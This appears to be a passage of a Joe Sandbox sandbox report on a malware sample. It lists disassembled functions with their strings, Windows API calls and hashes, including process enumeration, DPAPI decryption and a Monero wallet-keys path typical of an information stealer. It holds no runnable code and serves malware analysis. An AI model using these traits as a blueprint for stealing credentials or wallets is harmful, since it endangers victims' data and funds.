C23, xrefs: 00CE4EF7
A{+, xrefs: 00CE4F67
r![, xrefs: 00CE571A
f2{|, xrefs: 00CE4D3F

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A{+$C23$e{@$f2{|$r![
API String ID: 0-2412079535
Opcode ID: 0566040d0fda3db46f34fae0d2fbd774b57026d9f01097c21d9fd0e6ca515149
Instruction ID: e6d6b324dc9a60ea299cd7a8a0ae89d23129cc466e3b6c45b7439720cf851f7b
Opcode Fuzzy Hash: 0566040d0fda3db46f34fae0d2fbd774b57026d9f01097c21d9fd0e6ca515149
Instruction Fuzzy Hash: C972E8F3A0C604AFE3046E2DDC8567ABBE9EF94620F1A493DE6C4C7344E63598058797

Function 00CE0E93 Relevance: 6.6, Strings: 4, Instructions: 1650COMMON

Download Yara Rule

Strings

tW, xrefs: 00CE1CD3
wow, xrefs: 00CE1146
W\, xrefs: 00CE1D1C
?|{, xrefs: 00CE10E9

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?|{$tW$wow$W\
API String ID: 0-988627700
Opcode ID: 547d38e6a3dc18ff557f4bf41553164df40291d50b662e6d1925ab404000535c
Instruction ID: 74d954035e4bde1637b4babac325283a08a8c940c28cbffd8f804ce105136ac6
Opcode Fuzzy Hash: 547d38e6a3dc18ff557f4bf41553164df40291d50b662e6d1925ab404000535c
Instruction Fuzzy Hash: 24B207F3A082149FE304AE2DEC8567ABBE5EF94720F16893DEAC4C7744E63558058793

Function 00CDD9A4 Relevance: 6.6, Strings: 4, Instructions: 1644COMMON

Download Yara Rule

Strings

L>q<, xrefs: 00CDE327
qY{, xrefs: 00CDE537
1>tq, xrefs: 00CDDE7A
1\ou, xrefs: 00CDEC75

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1>tq$1\ou$L>q<$qY{
API String ID: 0-2118222111
Opcode ID: 172f355cce8d8b559b0c500318d965d6edbcd5f9fe75880a4a0432fd4906680a
Instruction ID: ccf97107b0ac4a9aef3dc9f8d8ac69480dddd845c595b5ae3298a05cf8886689
Opcode Fuzzy Hash: 172f355cce8d8b559b0c500318d965d6edbcd5f9fe75880a4a0432fd4906680a
Instruction Fuzzy Hash: 20B218F3A0C604AFE3046E2DEC8577ABBE5EF94720F164A3DEAC4C3744E93558058696

Function 00928680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,009305B7), ref: 009286CA
Process32First.KERNEL32(?,00000128), ref: 009286DE
Process32Next.KERNEL32(?,00000128), ref: 009286F3

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

CloseHandle.KERNEL32(?), ref: 00928761

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a29ab664b19ee4e924ad400010b24eab97ac309dd334a159d7aeeda2e5aaecd4
Instruction ID: 3662cea85cc95627562d292a03bed5972a0cf361349533582b7425140ebe3fe9
Opcode Fuzzy Hash: a29ab664b19ee4e924ad400010b24eab97ac309dd334a159d7aeeda2e5aaecd4
Instruction Fuzzy Hash: 2A315E72901228ABCB24DB51EC51FEEB77CEB88700F104199E509A21A4DF346A45CFA1

Function 00928EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00915184,40000001,00000000,00000000,?,00915184), ref: 00928EC0

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 9b5b055b83eef97ec5c2c1e82d11444f83e1e28347cb7545af061b22d41260d2
Instruction ID: a411cdbb33008e5cfee63dc8b0b1c76198009216bc8c7b68794b326fd0055efb
Opcode Fuzzy Hash: 9b5b055b83eef97ec5c2c1e82d11444f83e1e28347cb7545af061b22d41260d2
Instruction Fuzzy Hash: 92112A74201208FFEB00DF64EC84FAB37A9AF89301F109948F9198B258DB35EC41DBA0

Function 00919AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00914EEE,00000000,?), ref: 00919B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919B2A
LocalFree.KERNEL32(?,?,?,?,00914EEE,00000000,?), ref: 00919B3F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: a067fb232765fb6f9290ada621344afd2075404e531420f008841e464bcfd0e1
Instruction ID: 535c3fa4fe0850cc4c1f2e5a69a965aae4bf55ec899c6adbc605576249451ea2
Opcode Fuzzy Hash: a067fb232765fb6f9290ada621344afd2075404e531420f008841e464bcfd0e1
Instruction Fuzzy Hash: 4511A4B4240308AFEB11CF64DC95FAA77B9FB89701F208199F9159B390C775A941CB50

Function 00927980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00930E00,00000000,?), ref: 009279B0
RtlAllocateHeap.NTDLL(00000000), ref: 009279B7
GetLocalTime.KERNEL32(?,?,?,?,?,00930E00,00000000,?), ref: 009279C4
wsprintfA.USER32 ref: 009279F3

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d7c459220d90010ac58aeee917a9fa2b59dc4382db09291c0e0010fede5038b9
Instruction ID: bf62f43a8b33909047004289ecbc0b29d25ce35526e74752f5d2cabb5f2ebb10
Opcode Fuzzy Hash: d7c459220d90010ac58aeee917a9fa2b59dc4382db09291c0e0010fede5038b9
Instruction Fuzzy Hash: 2B112AB2904218ABCB14DFC9DD45BBEB7F8FB4CB12F10425AF605B2280E6395940CBB1

Function 00927A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01050080,00000000,?,00930E10,00000000,?,00000000,00000000), ref: 00927A63
RtlAllocateHeap.NTDLL(00000000), ref: 00927A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01050080,00000000,?,00930E10,00000000,?,00000000,00000000,?), ref: 00927A7D
wsprintfA.USER32 ref: 00927AB7

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c0912899a7313860ed7a3651691fea27aa63e73776aec10ebeaa8ddc49710e98
Instruction ID: e5e9789e9c60891d235cde276638f82a3d24814ee74d464e8623af2d88173c65
Opcode Fuzzy Hash: c0912899a7313860ed7a3651691fea27aa63e73776aec10ebeaa8ddc49710e98
Instruction Fuzzy Hash: 051152B1945228EBDB108B54EC59F69B778F744721F1047D5E516A32C0D7745A40CF51

Function 00CDBF1E Relevance: 5.4, Strings: 3, Instructions: 1606COMMON

Download Yara Rule

Strings

D9~m, xrefs: 00CDC43E
):, xrefs: 00CDCAAE
7]b, xrefs: 00CDC475

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7]b$D9~m$):
API String ID: 0-873614868
Opcode ID: 7a9f0292fa34b84636c3eb34ded0a5d67c679b6b1dd258a15a6fe6e5e593e0d9
Instruction ID: 5fbb004a871251950cdcd98b2e156a75ba15102bbd42089798056815343a6981
Opcode Fuzzy Hash: 7a9f0292fa34b84636c3eb34ded0a5d67c679b6b1dd258a15a6fe6e5e593e0d9
Instruction Fuzzy Hash: 88B24BF3A0C2049FE3046E2DEC8567ABBE9EB94760F16493DEAC4C7744EA3558018797

Function 00C260C7 Relevance: 5.3, Strings: 4, Instructions: 253COMMON

Download Yara Rule

Strings

FpK, xrefs: 00C2624A
IQ$$, xrefs: 00C26203
JpK, xrefs: 00C2624F
6x{w, xrefs: 00C2621D

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6x{w$FpK$IQ$$$JpK
API String ID: 0-2939090419
Opcode ID: 459603bb63ebfbdc6ed7330126edbfea83b75edc728db9b774a491af1a2b881d
Instruction ID: 2e1a8f68603daa188c6019f64c9facd1ffba61a53b9e9fe67eb166f58f046f6b
Opcode Fuzzy Hash: 459603bb63ebfbdc6ed7330126edbfea83b75edc728db9b774a491af1a2b881d
Instruction Fuzzy Hash: 17713CF3A086105FF3489929EC85777BBD5EBD4320F16863EEAC9D3740E9755C048296

Function 00923720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0092E118,00000000,00000001,0092E108,00000000), ref: 00923758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 009237B0

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: ba5c335ce4d7fa73ae2c12c92c256d6696e3a7bc86d8a6f4c168c7a70385fd15
Instruction ID: d0598a9dbb3e7f1d310abdbb3cee1b6fa1b49463ef78983d0ce42c192c8ceb7a
Opcode Fuzzy Hash: ba5c335ce4d7fa73ae2c12c92c256d6696e3a7bc86d8a6f4c168c7a70385fd15
Instruction Fuzzy Hash: 8D410971A00A289FDB24DF58DC94B9BB7B4BB48702F4081D8E608EB2D0E7716E85CF50

Function 00919B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00919B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00919BA3
LocalFree.KERNEL32(?), ref: 00919BD3

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
